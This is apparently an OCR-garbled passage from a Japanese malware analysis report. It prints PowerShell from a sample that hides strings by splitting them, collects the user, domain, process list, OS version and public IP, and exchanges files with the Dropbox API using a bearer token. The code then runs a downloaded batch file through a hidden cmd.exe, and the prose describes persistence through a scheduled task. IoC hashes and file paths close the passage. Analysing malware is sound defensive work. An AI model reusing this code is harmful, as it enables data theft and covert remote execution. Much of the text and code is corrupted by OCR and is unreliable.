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ZapiUrl = "htt"+"ps://a"+"pli.dropb"+"oxapi.com/2/

Sfrompath=3%al
Stopath=5%zl1+" set"

SappTemp = "false"
Sbody = @&{

"from path" = Sfrompath

"to path" = Stopath
SbodyJdson = $body | ConvertTo-Json

Invoke-RestMethod -Method Post -Uri SapiUrl -Heac
50000 = "/c " + S5dstoP
S00EE = "cm"4+"d.e"+"xe"

Start-Process So00EE 50000 -WindowStyle Hidden
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T 7AILDOERE. O~ FN(Z schtasks.exe &{FH L T sch_ha.db ORNBEEEIZP &LV
ZHDR R %L £9 . ZNIZBERETT (Persistence) N R 2T Th'l) . KRR HMERE
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[System.I0.Path]::GetTempFileName() B2 {FRL T—FK7 71 ILRNIZREFINET.

S5fInfc = [System.IO.Path]::GetTempFileName ()

S5bDomllsr = Senv:userdomain + " " + Senv:iusername

SbPro0cL = Get-Process | OQut-String

5boosVos = [System.Environme OEVersion

SblcOpoo = ((& "nslockup™ "m pendns .. com” “208.67.222.220") select -last 2) [0].Trim("Address:™).Trim()
SbIcof = "5bOosVos nfbloCpoo ' nfbDomUsr "n nsbProocl ' n"

-Path SfInfo -value Sbloof
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ProcessName
AggregatorHost
audiodg
backgroundTaskHost
backgroundTaskHost
backgroundTaskHost
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Sal = fccPd + ("_T" + "o" + "E" + "o%)
Sb2 = {"t" + "mp* + [(Get-Random -Minimum LODOO0 -Maximum 539%5) + ".B" 4 "a"™ + "t")
SdstoPF = [IO.Path]::Combine(fenv:TEME, 5bZ)

£dd = {®ht® + "tp®™ + "g:/" + "/oco® + "nta® + "nc.dr® + "opb" # "oxap® + "i.co® ¢+ "m/ISELT + “lag/do® + "wnlo® + "ad®)
Sab = B}
FeS[ ("Autho" + "riza™ + "tion™)] = ("Be™ + "arer " ¢ SoAcOTEH)

SEE = B{{"pa"™ + "th"} = Sal}
S@b[ ("Drop®™ + "box-A" + "PI-Ar" + "g )] = (5fé ConvertTo-Jeson -Comprass)

§z9 = [Guid] : :NewGuid{}.ToString()
Invoke-RestMethod -Uri 544 -Aeaders Se5 -Mathod ("P" + "oat™) -ContentType {"appli™ + "zationfocte™ + "t-8t™ + "peam™} -CutFile S5dstop

3z = nwironment] : :TickCount
Writa-Hest (=o" + "ki™)
g7 Strue

catch [
Write-Heet ("H" + "ot £" + "ou” + ~“ndi™)
§g7 = Sfalsa

L1F{5g7 =ag Strus)
SapiUrl = "het"+"pe://a"+"pl.dropb~+"oxapl.com/ 2/ "+ " L1ee/m "+ " ove_w2"
ffrompath=5al
Stopath=5al+™_set”
SappTemp = "falsa"
Sbody = B{
"from_path" = Sfrompath
"to_path™ = Stopath
SbodyJ=on = Shody ConvertTo-J=on
Invoke-RestMathod -Mathod Post -Uri Sapivrl -Headers SHdOors -Body ShodyJlacon
Soolld = "fo = + Sdstop

SmoEE = "om"ivd. et wa”™

Start-Process 500EE Sooll -WindowStyla Hidden
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Appendix: loCs

e 7714)L SHA256/\y < 211{&
o afe9a0298d945105ee69e84bdd7c41f35dad869a44098cb7e65a6a32a01cc617 (LNK™7
71I)
o 29afb88a2bbff600799a42ae033e8b49101998e238a1eb568bbb88bd8242cad5
(sch_ha.db)
o 5acab578dd7894ca29c51ce911fbb78ebaf6b522c71a565be8525111e9a8b515f
(www . ps1)
o bedc8bd676a84df2e82f15a42ecec2a001a24725ee269334d46bde2983ea5f6b
(17.vbs)
o 77AI/NR
o C:\PerfLog\www.psl
o C:\PerfLog\17.vbs
o C:\PerfLog\sch_ha.db
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